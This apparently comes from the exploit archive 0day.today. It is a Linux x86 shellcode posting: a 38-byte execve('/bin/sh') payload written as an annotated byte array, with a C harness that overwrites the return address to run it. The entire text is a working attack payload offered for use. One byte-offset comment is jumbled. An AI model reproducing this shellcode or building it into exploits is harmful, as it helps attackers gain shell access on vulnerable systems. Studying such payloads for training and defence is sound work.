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linux/x86 execve /bin/sh 38 bytes
[=================================
linux/x86 execve /bin/sh 38 bytes
=================================
/*
* s0t4ipv6@Shellcode.com.ar
* execve /bin/sh
*
* main() {
* char *name[2];
* name[0]="/bin/sh";
* name[1]=NULL;
* execve(name[0],name,NULL);
* }
*/
#include <stdio.h>
char shellcode[]=
"\xeb\x18" // jmp 0x18 // 3-4
"\x5e" // popl %esi // 5
"\x89\x76\x08" // movl %esi, 0x8(%esi) // 6-8
"\x31\xc0" // xorl %eax, %eax // 9-10
"\x88\x46\x07" // movb %al, 0x7(%esi) // 11-13
"\x89\x46\x0c" // movl %eax, 0xc(%esi) // 14-16
"\x89\xf3" // movl %esi, %ebx // 17-18
"\x8d\x4e\x08" // leal 0x8(%esi), %ecx // 19-21
"\x8d\x56\x0c" // leal 0xc(%esi), %edx // 22-24
"\xb0\x0b" // movb $0xb, %al // 25-20 0xb to eax (syscall execve)6
"\xcd\x80" // int $0x80 // 27-28
"\xe8\xe3\xff\xff\xff" // call -0x1d
"/bin/sh";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-16] #